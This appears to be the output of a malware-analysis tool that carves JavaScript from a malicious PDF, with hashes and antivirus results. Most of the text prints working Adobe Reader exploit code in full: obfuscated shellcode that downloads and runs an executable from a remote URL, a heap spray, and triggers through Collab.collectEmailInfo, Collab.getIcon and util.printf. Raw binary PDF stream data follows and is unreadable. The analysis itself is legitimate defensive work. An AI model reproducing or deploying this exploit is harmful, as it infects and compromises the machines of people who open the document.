00%u96f6%u\",\"ad66%u\",\"e0c1%u030\",\"2%u1f8\",\"5%u000\",\"2%u8900\",\"%uadc\",\"6%u8503%u\",\"021b%u0000\",\"%uebc3\",\"%u0010%u0\",\"000%u0\",\"000%u0000\",\"%u0000%u00\",\"00%u0\",\"000%u0000%\",\"u8900%u1b\",\"85%u000\",\"2%u56\",\"00%ue85\",\"7%uff58%u\",\"ffff%u5e5f\",\"%u01ab\",\"%u80ce%u\",\"bb3e%u0274\",\"%uedeb%\",\"u55c3%u4\",\"c52%u4\",\"f4d%u\",\"2e4e%\",\"u4c44%u\",\"004c%u5\",\"255%u4\",\"44c%u776f%\",\"u6c6e%u61\",\"6f%u5464\",\"%u466f%\",\"u6c69%\",\"u4165%\",\"u7500\",\"%u6470%u\",\"7461%u2e6\",\"5%u7865%u\",\"0065%u\",\"7263%u73\",\"61%u2\",\"e68%u6870\",\"%u0070\",\"%u7468%u\",\"7074%u2f3\",\"a%u69\",\"2f%u6b6e%u\",\"616b%u\",\"2e6b%u\",\"6e63%u6\",\"52f%u\",\"746e%u7265\",\"%u752f%u\",\"6470%u7\",\"461%u2e\",\"65%u68\",\"70%u3f70%\",\"u6469%u333\",\"d%u7226%u7\",\"465%u6f3\",\"d%u006b%u9\",\"000\");awn5fmmtY = unescape(awn5fmmtY.join(\"\"));var fK2iJohU = 0x400000;var mTcRGdIAFp = awn5fmmtY.length * 2;var kIkwRkWL = fK2iJohU - (mTcRGdIAFp + 0x38);var sR4ZJ8w7ci = unescape(\"%u9090%u9090\");sR4ZJ8w7ci = xZltXdRrA(sR4ZJ8w7ci, kIkwRkWL);var lFu82BhUm = (h8qcONPj - 0x400000) / fK2iJohU;for(var ho7zfzSpA2 = 0; ho7zfzSpA2 < lFu82BhUm; ho7zfzSpA2++){rTq8VBM7[ho7zfzSpA2] = sR4ZJ8w7ci + awn5fmmtY;}}function wYcp8NZ0K(){var aNe5YykKME = 0;var e8ooaAyfX = app.viewerVersion.toString();app.clearTimeOut(hzoXWf2zMR);if((e8ooaAyfX >= 8 && e8ooaAyfX < 8.102) || e8ooaAyfX < 7.1){kKsdhSU26(0);var lCnTk4BeM = unescape(\"%u0c0c%u0c0c\");while(lCnTk4BeM.length < 44952) lCnTk4BeM += lCnTk4BeM;var eTaM5OGrO = this;var qb7cGlrfF2 = Collab;eTaM5OGrO[\"collabStore\"] = qb7cGlrfF2[\"collectEmailInfo\"]({subj : \"\", msg : lCnTk4BeM});}if((e8ooaAyfX >= 8.102 && e8ooaAyfX < 8.104) || (e8ooaAyfX >= 9 && e8ooaAyfX < 9.1) || e8ooaAyfX <= 7.101){try{if(app.doc.Collab.getIcon){kKsdhSU26(2);var dl0wQ8RB3 = unescape(\"	\");while(dl0wQ8RB3.length < 0x4000){dl0wQ8RB3 += dl0wQ8RB3;}dl0wQ8RB3 = \"N.\" + dl0wQ8RB3;var pmEWlQvXt = app;pmEWlQvXt[\"doc\"][\"Collab\"][\"getIcon\"](dl0wQ8RB3);aNe5YykKME = 1;}else{aNe5YykKME = 1;}}catch(e){aNe5YykKME = 1;}if(aNe5YykKME == 1){if(e8ooaAyfX == 8.102 || e8ooaAyfX == 7.1){kKsdhSU26(1);var r9AIMNUS4 = \"12999999999999999999\";for(gDHYb1eNB = 0; gDHYb1eNB < 276; gDHYb1eNB++){r9AIMNUS4 += \"8\";}var quiIRMbc = util;quiIRMbc[\"printf\"](\"E000f\", r9AIMNUS4);}}}}app.rjO2bASA3 = wYcp8NZ0K;hzoXWf2zMR = app.setTimeOut(\"app.rjO2bASA3()\", 10);';function q34u6su2(ioMR5gz7V,k3zCvAM4o,eT6FROT4NZ){return ioMR5gz7V;}function rmkqJzTi(fUhFEtZWm,qMyxid01F,dMPLrGrK){return dMPLrGrK;}this.tPzyzzQKa=null;var rH5ljG0VLS = zUG9Kfei.replace(/[]/g, '');this.r7E9gM9H=false;var aaNXC3uXC=false;var euoyWqcc2z=new Array('m2B1rLly','ppm3V2roF');var aKcHThxsm = 'e'+'v'+'a'+'l';app[aKcHThxsm](rH5ljG0VLS);oKegsvZN="j01zyiXE";function q1HkXnUMs(jU3hrtuz,nHErrrAz){}var mnvrrMP0i=new Array();mnvrrMP0i[0]=30317;mnvrrMP0i[1]=21154;mnvrrMP0i[2]=15155;
generic_stage_recovery_009.js deobfuscated-js generic stage recovery split-literal-normalize -> percent-decode from decompressed stream at 0x2A06 at offset 0x2A06 5928 bytes
SHA-256: 646ee65eec9cf6281af02f381f8f1947af50a367a2d6e0a9c3aef294915e5659
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
function q5TeDahU7(hJNey0R8q,knSopuO6h,hMvn4cI0ZI){}var sF4vJtwY8=null;function tBldhzHcY(v0dX0adJ){return false;}var zUG9Kfei = 'var rTq8VBM7 = new Array();var hzoXWf2zMR;function xZltXdRrA(sR4ZJ8w7ci, kIkwRkWL){while(sR4ZJ8w7ci.length * 2 < kIkwRkWL){sR4ZJ8w7ci += sR4ZJ8w7ci;}sR4ZJ8w7ci = sR4ZJ8w7ci.substring(0, kIkwRkWL / 2);return sR4ZJ8w7ci;}function kKsdhSU26(tNydZuOK){if(tNydZuOK == 0){var h8qcONPj = 0x0c0c0c0c;}else if(tNydZuOK == 1){h8qcONPj = 0x30303030;}var awn5fmmtY = new Array(\"%u535\",\"0%u5251%u\",\"5756%u9c55\",\"%u00e8%\",\"u0000%\",\"u5d00%ued\",\"83%u310\",\"d%u64c\",\"0%u4003%u7\",\"830%u8b0c%\",\"u0c40%u70\",\"8b%ua\",\"d1c%u408b\",\"%ueb08%u8b\",\"09%u3440%\",\"u408d\",\"%u8b7c%u\",\"3c40%u5756\",\"%u5ebe%u\",\"0001%\",\"u0100%ubfe\",\"e%u014e\",\"%u0000%uef\",\"01%ud6e\",\"8%u0001%\",\"u5f00%u8\",\"95e%u\",\"81ea%\",\"u5ec2%u\",\"0001%u5200\",\"%u8068%u\",\"0000%u\",\"ff00%\",\"u4e95%u00\",\"01%u8900%u\",\"81ea%u5ec2\",\"%u000\",\"1%u310\",\"0%u01f6%\",\"u8ac2%u\",\"359c%u0\",\"263%u0000%\",\"ufb80%u740\",\"0%u8806\",\"%u321c%u\",\"eb46%\",\"uc6ee%u32\",\"04%u890\",\"0%u81ea\",\"%u45c2%u00\",\"02%u5200%u\",\"95ff%u\",\"0152%u000\",\"0%uea\",\"89%uc281\",\"%u0250\",\"%u000\",\"0%u5052%u\",\"95ff%u01\",\"56%u00\",\"00%u00\",\"6a%u00\",\"6a%uea89%u\",\"c281%u0\",\"15e%u0000%\",\"u8952%u81e\",\"a%u78c2%u\",\"0002%u5200\",\"%u006a%ud0\",\"ff%u0\",\"56a%uea89\",\"%uc281%u01\",\"5e%u0000%\",\"uff52%\",\"u5a95\",\"%u0001\",\"%u8900\",\"%u81ea%u\",\"5ec2%u0\",\"001%u5\",\"200%u8\",\"068%u00\",\"00%uff\",\"00%u4e95%u\",\"0001%u8\",\"900%u8\",\"1ea%u\",\"5ec2%u0\",\"001%u3\",\"100%u0\",\"1f6%u\",\"8ac2%u359\",\"c%u026e%u0\",\"000%ufb80%\",\"u7400\",\"%u880\",\"6%u321c%\",\"ueb46%u\",\"c6ee%u3\",\"204%u8\",\"900%u81\",\"ea%u45c\",\"2%u0002%\",\"u5200%u95\",\"ff%u0152%u\",\"0000%uea89\",\"%uc281%u02\",\"50%u000\",\"0%u5052%u9\",\"5ff%u01\",\"56%u0\",\"000%u006\",\"a%u006a%ue\",\"a89%u\",\"c281%u0\",\"15e%u0000%\",\"u8952%u81e\",\"a%ua6c2%u\",\"0002%u5\",\"200%u006a%\",\"ud0ff%u\",\"056a%\",\"uea89%u\",\"c281%u01\",\"5e%u000\",\"0%uff52%u5\",\"a95%u0\",\"001%u9d00%\",\"u5f5d%\",\"u5a5e%u\",\"5b59%uc358\",\"%u0000%u00\",\"00%u0000%u\",\"0000%\",\"u0000%u\",\"0000%\",\"u0000%u000\",\"0%u6547%u5\",\"474%u6d65\",\"%u5070%u74\",\"61%u41\",\"68%u4c00\",\"%u616f%u\",\"4c64%\",\"u6269%u\",\"6172%u\",\"7972%u0\",\"041%u65\",\"47%u50\",\"74%u6f72\",\"%u4163%u\",\"6464%u6572\",\"%u7373%\",\"u5700%u\",\"6e69%u78\",\"45%u6365%\",\"ubb00%uf2\",\"89%uf78\",\"9%uc03\",\"0%u75a\",\"e%u29fd%\",\"u89f7%u31\",\"f9%ubec\",\"0%u00\",\"3c%u00\",\"00%ub\",\"503%u\",\"021b%u000\",\"0%uad66%u8\",\"503%u02\",\"1b%u000\",\"0%u708b%u8\",\"378%u1cc\",\"6%ub50\",\"3%u021b%u0\",\"000%u\",\"bd8d%u021f\",\"%u0000%u03\",\"ad%u1b\",\"85%u0\",\"002%uab0\",\"0%u03ad%u\",\"1b85%u000\",\"2%u500\",\"0%uada\",\"b%u8503%u0\",\"21b%u0000\",\"%u5eab%\",\"udb31%u56a\",\"d%u850\",\"3%u02\",\"1b%u0000%u\",\"c689%\",\"ud789%u\",\"fc51%ua6f\",\"3%u7459%\",\"u5e04%u\",\"eb43%u5\",\"ee9%ud19\",\"3%u03e0%u\",\"2785%u000\",\"2%u31\",\"00%u96f6%u\",\"ad66%u\",\"e0c1%u030\",\"2%u1f8\",\"5%u000\",\"2%u8900\",\"%uadc\",\"6%u8503%u\",\"021b%u0000\",\"%uebc3\",\"%u0010%u0\",\"000%u0\",\"000%u0000\",\"%u0000%u00\",\"00%u0\",\"000%u0000%\",\"u8900%u1b\",\"85%u000\",\"2%u56\",\"00%ue85\",\"7%uff58%u\",\"ffff%u5e5f\",\"%u01ab\",\"%u80ce%u\",\"bb3e%u0274\",\"%uedeb%\",\"u55c3%u4\",\"c52%u4\",\"f4d%u\",\"2e4e%\",\"u4c44%u\",\"004c%u5\",\"255%u4\",\"44c%u776f%\",\"u6c6e%u61\",\"6f%u5464\",\"%u466f%\",\"u6c69%\",\"u4165%\",\"u7500\",\"%u6470%u\",\"7461%u2e6\",\"5%u7865%u\",\"0065%u\",\"7263%u73\",\"61%u2\",\"e68%u6870\",\"%u0070\",\"%u7468%u\",\"7074%u2f3\",\"a%u69\",\"2f%u6b6e%u\",\"616b%u\",\"2e6b%u\",\"6e63%u6\",\"52f%u\",\"746e%u7265\",\"%u752f%u\",\"6470%u7\",\"461%u2e\",\"65%u68\",\"70%u3f70%\",\"u6469%u333\",\"d%u7226%u7\",\"465%u6f3\",\"d%u006b%u9\",\"000\");awn5fmmtY = unescape(awn5fmmtY.join(\"\"));var fK2iJohU = 0x400000;var mTcRGdIAFp = awn5fmmtY.length * 2;var kIkwRkWL = fK2iJohU - (mTcRGdIAFp + 0x38);var sR4ZJ8w7ci = unescape(\"%u9090%u9090\");sR4ZJ8w7ci = xZltXdRrA(sR4ZJ8w7ci, kIkwRkWL);var lFu82BhUm = (h8qcONPj - 0x400000) / fK2iJohU;for(var ho7zfzSpA2 = 0; ho7zfzSpA2 < lFu82BhUm; ho7zfzSpA2++){rTq8VBM7[ho7zfzSpA2] = sR4ZJ8w7ci + awn5fmmtY;}}function wYcp8NZ0K(){var aNe5YykKME = 0;var e8ooaAyfX = app.viewerVersion.toString();app.clearTimeOut(hzoXWf2zMR);if((e8ooaAyfX >= 8 && e8ooaAyfX < 8.102) || e8ooaAyfX < 7.1){kKsdhSU26(0);var lCnTk4BeM = unescape(\"%u0c0c%u0c0c\");while(lCnTk4BeM.length < 44952) lCnTk4BeM += lCnTk4BeM;var eTaM5OGrO = this;var qb7cGlrfF2 = Collab;eTaM5OGrO[\"collabStore\"] = qb7cGlrfF2[\"collectEmailInfo\"]({subj : \"\", msg : lCnTk4BeM});}if((e8ooaAyfX >= 8.102 && e8ooaAyfX < 8.104) || (e8ooaAyfX >= 9 && e8ooaAyfX < 9.1) || e8ooaAyfX <= 7.101){try{if(app.doc.Collab.getIcon){kKsdhSU26(2);var dl0wQ8RB3 = unescape(\"	\");while(dl0wQ8RB3.length < 0x4000){dl0wQ8RB3 += dl0wQ8RB3;}dl0wQ8RB3 = \"N.\" + dl0wQ8RB3;var pmEWlQvXt = app;pmEWlQvXt[\"doc\"][\"Collab\"][\"getIcon\"](dl0wQ8RB3);aNe5YykKME = 1;}else{aNe5YykKME = 1;}}catch(e){aNe5YykKME = 1;}if(aNe5YykKME == 1){if(e8ooaAyfX == 8.102 || e8ooaAyfX == 7.1){kKsdhSU26(1);var r9AIMNUS4 = \"12999999999999999999\";for(gDHYb1eNB = 0; gDHYb1eNB < 276; gDHYb1eNB++){r9AIMNUS4 += \"8\";}var quiIRMbc = util;quiIRMbc[\"printf\"](\"E000f\", r9AIMNUS4);}}}}app.rjO2bASA3 = wYcp8NZ0K;hzoXWf2zMR = app.setTimeOut(\"app.rjO2bASA3()\", 10);';function q34u6su2(ioMR5gz7V,k3zCvAM4o,eT6FROT4NZ){return ioMR5gz7V;}function rmkqJzTi(fUhFEtZWm,qMyxid01F,dMPLrGrK){return dMPLrGrK;}this.tPzyzzQKa=null;var rH5ljG0VLS = zUG9Kfei.replace(/[]/g, '');this.r7E9gM9H=false;var aaNXC3uXC=false;var euoyWqcc2z=new Array('m2B1rLly','ppm3V2roF');var aKcHThxsm = 'eval';app[aKcHThxsm](rH5ljG0VLS);oKegsvZN="j01zyiXE";function q1HkXnUMs(jU3hrtuz,nHErrrAz){}var mnvrrMP0i=new Array();mnvrrMP0i[0]=30317;mnvrrMP0i[1]=21154;mnvrrMP0i[2]=15155;
generic_stage_recovery_010.js deobfuscated-js generic stage recovery null-collapse -> split-literal-normalize from decompressed stream at 0x4AD2 at offset 0x4AD2 2030 bytes
SHA-256: f74c3fc15983405da78999f9acbf16fd0c5ca2c31db9e9b90c31b972fe2f57d2
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
awn5fmmtY.join(\"\"));var fK2iJohU = 0x400000;var mTcRGdIAFp = awn5fmmtY.length * 2;var kIkwRkWL = fK2iJohU - (mTcRGdIAFp + 0x38);var sR4ZJ8w7ci = unescape(\"%u9090%u9090\");sR4ZJ8w7ci = xZltXdRrA(sR4ZJ8w7ci, kIkwRkWL);var lFu82BhUm = (h8qcONPj - 0x400000) / fK2iJohU;for(var ho7zfzSpA2 = 0; ho7zfzSpA2 < lFu82BhUm; ho7zfzSpA2++){rTq8VBM7[ho7zfzSpA2] = sR4ZJ8w7ci + awn5fmmtY;}}function wYcp8NZ0K(){var aNe5YykKME = 0;var e8ooaAyfX = app.viewerVersion.toString();app.clearTimeOut(hzoXWf2zMR);if((e8ooaAyfX >= 8 && e8ooaAyfX < 8.102) || e8ooaAyfX < 7.1){kKsdhSU26(0);var lCnTk4BeM = unescape(\"%u0c0c%u0c0c\");while(lCnTk4BeM.length < 44952) lCnTk4BeM += lCnTk4BeM;var eTaM5OGrO = this;var qb7cGlrfF2 = Collab;eTaM5OGrO[\"collabStore\"] = qb7cGlrfF2[\"collectEmailInfo\"]({subj : \"\", msg : lCnTk4BeM});}if((e8ooaAyfX >= 8.102 && e8ooaAyfX < 8.104) || (e8ooaAyfX >= 9 && e8ooaAyfX < 9.1) || e8ooaAyfX <= 7.101){try{if(app.doc.Collab.getIcon){kKsdhSU26(2);var dl0wQ8RB3 = unescape(\"%09\");while(dl0wQ8RB3.length < 0x4000){dl0wQ8RB3 += dl0wQ8RB3;}dl0wQ8RB3 = \"N.\" + dl0wQ8RB3;var pmEWlQvXt = app;pmEWlQvXt[\"doc\"][\"Collab\"][\"getIcon\"](dl0wQ8RB3);aNe5YykKME = 1;}else{aNe5YykKME = 1;}}catch(e){aNe5YykKME = 1;}if(aNe5YykKME == 1){if(e8ooaAyfX == 8.102 || e8ooaAyfX == 7.1){kKsdhSU26(1);var r9AIMNUS4 = \"12999999999999999999\";for(gDHYb1eNB = 0; gDHYb1eNB < 276; gDHYb1eNB++){r9AIMNUS4 += \"8\";}var quiIRMbc = util;quiIRMbc[\"printf\"](\"%45000f\", r9AIMNUS4);}}}}app.rjO2bASA3 = wYcp8NZ0K;hzoXWf2zMR = app.setTimeOut(\"app.rjO2bASA3()\", 10);';function q34u6su2(ioMR5gz7V,k3zCvAM4o,eT6FROT4NZ){return ioMR5gz7V;}function rmkqJzTi(fUhFEtZWm,qMyxid01F,dMPLrGrK){return dMPLrGrK;}this.tPzyzzQKa=null;var rH5ljG0VLS = zUG9Kfei.replace(/[]/g, '');this.r7E9gM9H=false;var aaNXC3uXC=false;var euoyWqcc2z=new Array('m2B1rLly','ppm3V2roF');var aKcHThxsm = 'eval';app[aKcHThxsm](rH5ljG0VLS);oKegsvZN="j01zyiXE";function q1HkXnUMs(jU3hrtuz,nHErrrAz){}var mnvrrMP0i=new Array();mnvrrMP0i[0]=30317;mnvrrMP0i[1]=21154;mnvrrMP0i[2]=15155;
generic_stage_recovery_011.js deobfuscated-js generic stage recovery null-collapse -> split-literal-normalize -> percent-decode from raw PDF metadata at offset 0x0 18260 bytes
SHA-256: 9dc3c0aa5d54508b967097382e103c8606dad85aeb7a63498f90081f1b21c4ef
Detection
ClamAV: Pdf.Exploit.CVE_2009_0927-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
%PDF-1.7
3 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 4 0 R>>
endobj
4 0 obj
<</Filter /FlateDecode /Length 3329>>
stream
x��\�r�6 ��+z����(zX�Y��L � g�� $!  H���h���d_�6Ňl\�Urb]J  ��t 48�,�TҔ~�kO ��� x��Wx�� }��V���v������f�ƛ4�-&�->3��j����|���z=�L����� f����� _ ����i� >� �N���!�{f��d~K��r2_�]@ �cg��YZ��Q� �Ew����n�|�o��rA��v�ڜo���|o��Wu���N'�%�7� ^� � �>�y�՟~z���xNW� ��y�0�  Ym&�-Ŵ\¤˧�5�N7������~�Z;=:� f���t�Ҍ"S$ e�1)�&�	�� &���2' �\��s��g$i �T�~D6;�t�*�,�"�Џ iM��K�S��DI�R ���3:
[� S.��J����LN�ǰ 	ER���'���*�&��� �0�� ��V������v{����{��~Y��Dv �  m�!���((D ++�23
�  R�� �-0�<26�X ʟ��T U 
��xGů�W �<�Lh Pn�� V� �g VN+O ���`YD,��Ri�(�(3J�9�l�Q{� �Jdy6�_�� ne��H��� ��팱��]�l���^���@ �Ӧ� 3�N�k^�� ��h� ��J��W!4�UGɋ�o�ٵD8��% ��b��n�W��I�&# �V xAXh�� �W$�G�_x� �?�T σ�cy?Ia)� ?� ~�� �s�|�g�I��
 � 7�j�#�T�I%�"�E�)3I� ��  �0ۮ�N�?���G�NE;�ː !��k����в"s�Pw:�i�� | �Y{
>�ٓ!@.Q�^P�K�i��%� K0�  �QjiM �#�h_��	�k��ߋ0������P R]� �&Gy���G ��c� x
L@	.��V 9j�	"�W�,G`? D�Ā �ۖ]%6
����vB?+Ƃ,)<`�O ��K��[m�( �q�F�m 0 $;p� DL�,�� ���:�� �D{�o��KYt��&�$ �C 0$�&�@~y�[A   6V!i#v�┃� Q�M �P�ǁ�� ���G2pi�M i��� �P�  ��# p �
��� B�� ��u ����� V��� ��e`�� 7�{T �BH{��  T�Qw�=dX"F�ҋ��6r@J��C�vFu��M d� � �2� �$0>�b���� VH�+ �L
#r'��a�> -� �Œ�]=� 4_&9<AqR� �] � y�ތ�A5 p2m% �˹�c� �a/��/s�����W�B; �21�dn ��)� V 2�5�ur� ���;� �!e��!�r*J��6��/
�� \ m^G/s  	�CdX^װ�Q+� |�C� ��z�iB/)"6Z�q�p ��]I� �vi�Y �]Ԁ  �X$�Y �!�-b� k �#7 
�CSf����҆�n�]C@ )�� �%;�N �!Q;Ie��;�85�P�eo]�r:�m � ��K��o >+ kQ�?��#�B�ԩ����<}XO�>b�  � �� !ܐ )�i�U�ri�M �/44��n�]�� Nq;�:R.�h��rf�m�  � ̱����ٹ� �sF'��+��P\�mUG�K� �I��ԑ b��9,ףj��<D �ғۣ>�J� ��|��d�q�� ߃Qm� ^<����������n��N�ŲF� O +�� ��#�oO��� O�g��v�Sy��t�w� q[�A+UdJ#)4:(��   #� ��wZ�/ � �ȗ� x�,E5���� ��Q��Pۮ � 9�D"ϘY�Q���I   ����sy��h�:���F.� �^
�� �� ����W*	(E� 8- �� �QG�� ��������m�6\Fzz�[&5 ;5Y� �8�̱ �|f��Cb F0�=.��yꌾ�` ���l��ۛ� �ÉCQ�l_` ��Y��s �syn�j���U9�� � 0/()��F38?��0:|��r /�,P�z ���p��d�9'���l�p	H]��v�� oJ  �O��#��ՠ  p�H%�R�x�����M
 ��"$-9#�ɈCC�� J��vBu`����PC��f��T��A� ߲w�r��F0^d���ty��3� Ơ��*�%�w:�Uk � ��ޚ��c��E�.�)�eݎ����[���g�ѫ�\ObW�M?�A>�Tx�I�:<mD��h�~�#*�l� 5b ���J�)o  �N �W0S � he�Ϳ1��$��

"⤇�4N�q��X����t�!��� ћ�7��O,����B�������0� ��[ۜ:x��� � 1�8�U�G:p&7ۮ�o-'\ ��wT -�=�^=X<�bl91l����C���X�vk�H���.�|��2 H"= �o� �f� �-� ����8@aD�
 ��_X��"���7N-W�� ��b � �>��u ��9��F�Ӿ蒆:U���N ���TF |�$�N ���	6z�.���+��F?T �j��t f�E@�= !kV�d� �bP�"!��<�I�n
Ե_�*%gLC �J� !�� �)8/ �&�L� (��7p_�?��٥� 
_����# g47�\"UDB�)|�j����X}���� �}ײN ���$� N��N���5J��W��ݲ�zW�m�}OG�Sk̻ /[���pfϚ����!���� ��5��zC�&�>j�f D���N�{L�8�  �>� ��]L{vw��@�� �+<�`��b�Ю����h�'y � �m{��*?.���� �l��:�< *ͽ&���|l� v ap?� 06���$��h2M�vi�F�հ��ơ�7��#X @ �DfZ �%ז���QY%�K�5��2xMڕK�_W|o �; �rj���s��� `�Qm*.G�h�z���r�� �$� | ��   �x�|�� =8�z�ߣ�ѩ�jooG����� 
Z���[O֖B r��� ���2�H�Y��� ǚ�G�N� �l�ni��~�Y�G�c��b+$`�r��   �g����n�V��hM���x�����(9� b���:��<��E~� � ��Ë??P��m����p�  ��S
N�Z&' K> �g�k �0����	�S X��?ی<%��[��n�1 �=2% ���l�Z��b�Ƨ! Q�r �� s� � za��� `�������| ԾV��{_�G%
 C]�t��� }��X Ł &T��7qY  ��#����CnmwY���w9������߆s.
�h  �  �F�{ p��/�B��f ���(=�K�Bʊ�� ���Y�Cl�Lñ� �܏��{�z�yxǥ� =cc��糽ϓ Za1�T ��B���g/۟ ��rM���'~>�!5��eŢ-� �]�x���C�NM5�i\W� c�+� �B{ �CI���i�vh�mS� �Ύ����Q��) �l_��P��l��2md ���ڡ�`ywhK��fߛ�z����zu 7N�5� И�􅛧'��^<*�k<Sv��,��#e� � e;L�\N6 $� d�'ۥ"�4�oiј��'��� � �5
endstream
endobj
5 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 6 0 R>>
endobj
6 0 obj
<</Filter /FlateDecode /Length 3208>>
stream
x��\Is�8 ��W|���9 ���2Ǯ�ӓ�Cw�s�� HB$$�PR2���ArBؒ��AlW9�M�����m�( 紧 }�����  %�������;z�˄f�hDw+�pw����� �4 O�� � Q8 fK�� ���q0�P�ӻ��齢?� � ����Q� �� �����S�}Ƴy0���8 &3�K� �4�r�?����t�	���Чk~�C�)͗�`�8>T �z���7���CG�"��
�����}�}|rsz��  �~����g ���F�x��� �xI9�!D ~���?�揎]����'����B�it ӝ*�$�6�T)eU. JU�i�YA;nJC�E�Q��) �̙�T��S �& K�Z +j2�ړ��-� ��yIrG ^�4^�F=? i�7��Fl)f�( �E �d�O 2U�� L�8�v�+�⍽_rjZ�Qb�`�(��}M /⌶\a]L� ��� *��5�Lo �H!�B k Ї��5I�U�E[��+b%� ɊS~Oq�
��e@�Y�r��k�(eB�VV�����{<T���I��I�R�S�ϭ��~3��"2VoБJ� $V�ٮ��HYS�R�*m�/�� �tΆHBw�L�t�� �2�	 j do��+.���*2�b��t�'#�2%�
��XNS*����"��lEi��b%JR��DUQ	1�d �DZ4�?��J��� �K�b�οY dVf�
6YBy��$��0mkK�H���P^� ��	UE,9Dw Ad�1��U�   J�b  ��2��/xl���e �G) n��2��? i � � ��R3*sJ4�` * pP�� ?3�!.� ��  ��e&� *g�>G�M'  �wQf�(&��bz�i�   � �a  ��)�Bi��wSCqRD"Q �`�,g�Xw�`����:  �	l�`�0�� �y��\�=��� �� �{]��q��2m
~�  �9 ���km!  �? �J D��9 �� �ฮ"���ɗJ�q'.���z�Vlj�{ 5>6hM} �
Ձ( �]�+$�
��ʯV � ���>� ��VW1?�� �6[6���, 1x�������� �Y `O��"� ��ig�e  � �.b�a� H��� ��Xo�� q �� r��5� b�T� iue ��V�O�x�� F����!�  l$� ���lmc��m�*��  � ܢ !����;  *  �v��o�0 WZk)�ڴ�o@��/REA& �<G��5ലf �&Б�|�m�� q  L�\B��� tn���o �g� szb/5qv |=@q ����MM ��� � �*\c6V�[k$ �� �~w���i �Ll��P Ɣ�H � 1@��el'�6<�@�
�T�`n�K��(O��T ��UN��a�^7 6�ۉ�^ r�x�Y�H �
H+��  ��O �#��E �N��=�O��.H��ϩ�'�^I���t6p [�9rR� �RmjՋ9�JGv� ����3 � �1$��*"'*�� �.d�8G_��� w� �	.��t����3�������\ )] �|�Sd�ƍ�֐��pԸ���Թ$"�, ��#%�I�[  p  �TH� ��J�9���K�� p�L�*ͮ*L�� �,e{�#�l�� ҇�E�#�8�4x Y�l<�ijrZw2��XW&�$��(�<�
���&-  � � ��c����
 �G��p�|�N >M-\4n߫|   #� �j>�<I�lABظ 9 L� ��0�N��" �2X   �-�uQ�� �  Oa�R%u�|�<J� ݼA��z�	5�Jr� \� n ~� �
@)c~�1�7�r�� eD0V�`%��N,�/ꅳ�A��u-��� �O� ���]Nc.^�n@Se ����NO{*ψ���	� �u����$�l��I+��~	b Ē�9�+ � H�|
o�TG 	Y{ ���: � �) Ā<ɖP��~9tܸkw���e��� �9 G ����ѡv�]��*� U~P�+ 
c�ӆ�햇�z  '��  � �2.� � ,z �����&�x�t�����C ��y�55�],�F��v1i/}u4�; >Vb �bk` �z}EE���*�q{<	7* |�3Xnf1e��~m� "߉gM ��7�د@v !���!3A��Û�xh��v���O�� g�Q�r��-r�į  �u �2�~�FD ٵ�Q1+  � {�  ��|�bkPgh,n��9O8^5� *]�� K���Z�!B4[ �¯�H�y�E9Tj[qX� � 	�\��*; 9����)5gN)WyΠ��k
~�� ]��_E@� @�J �R	L3}�z�w+n��el
0P �K� �Y05��
ܻ�u:�5�/���ܣ3H4���Ms!��>�U���`|nۙ- 2^�Uq�<[�� O�v��#�x��ԙ+z�R�t��Rҁ�h%�� Mp���������=�=�q��j��9 �O�9�:��� Syա3 ��Zə� u �� ��[����u�vqH
�uD��>�j�t �_�Mz`�F�s �� � �� �}Yva�1��~�O6�Slά��A��5�u�哝��\�k< U� �5�aa��V��`ާȜ��v�=[�q�� ��75�4u�y� ��� �<   {�xju�� ��{�3,m�S{�k£3x��  L�  _��? G� ڧМA��5 � �%��&��ثnG/��}�l����f"巻>qF^ � me'� � �w\W�rx
�lj)��3�K[� � �= �g � r�De~ ���z��xA1�|V���d�"� �<<J���v8qA���:	d� � �s>��ݴԀzU} ����l$���$��s l�?�  �
9�f t�rs掞� /���� �� Z�?ຆ�A����n�zUqE�{��R_�mV� P}�� } v�.9t^"��� ��8����/ ��##� ��� �3�� �6=�`#�
|
-u%7��;w Z�)5gp�W��� g^魜ݛ� h �B���h`�{�	Dִ�l�>�t,)x �� gz<�Շ�:��56sر���W���2Ut�B���ܧȜy�fL y��ܿ�� ����SKJ�7��*c���
2 �à0%�*YW��D �8 �{�[� �y�'*���� r�^L2����% � f���^�J��Ͽ�g�Ͽ];b���0 _r��}k��E��Uy]���ʔ׵L۪R��@��Y�ލ��� ^>%�c_ ���I���j ��*�� �� �?�M#o���x�=��� ��/� :>D�h�d�מ�� }�{���
% �� g?~�4��d�G�9�O � ;�3�  ֯��O·����������E�9;g���W��l [  Y+5Uvv�`o�+� _
?p�.���i���-�#^�:Y Ӱy ��� �-� �`�@� ,��oHc)��������W���  xj�
endstream
endobj
7 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 8 0 R>>
endobj
8 0 obj
<</Filter /FlateDecode /Length 382>>
stream
x��S�R�0 ��+�� ��$%m� QNjڛ㡥��� Z��_�bAA  q�æ�vw���
g��38��2<<�'! ��N/D�B�c�# c :��O�-'�p� P �� �+���}��Ĩ@�J�_�MwA� �� � 8��JAu��3م �I a���qe̥�����g� ��� t��_@� ? ��[P;[��r���S� ʙVxv �,sV +���/}7\G��y����]ˑ$�D��L (� I�6� �pn ��~{�=�� E2�V��\��� Y4��D��� _�t/�iYa�T1�0����)� � U � i�Č��� �S�|J�'�ʴFb__鷍i[5E�夬
�i��p6�.��� �Tj�ϖ��UG ȭ � � t��=�R   �[2 !� � �	
endstream
endobj
1 0 obj
<</Type /Pages
/Kids [
3 0 R
5 0 R
7 0 R
]
/Count 3
>>
endobj
9 0 obj
<</Type /OCG /Name (��print)
/Usage <</Print <</PrintState /ON>> /View <</ViewState /OFF>>>>>>
endobj
10 0 obj
<</Type /OCG /Name (��view)
/Usage <</Print <</PrintState /OFF>> /View <</ViewState /ON>>>>>>
endobj
11 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Helvetica
/Name /F1
/Encoding /WinAnsiEncoding
>>
endobj
12 0 obj
<</Type /Font
/Subtype /Type1
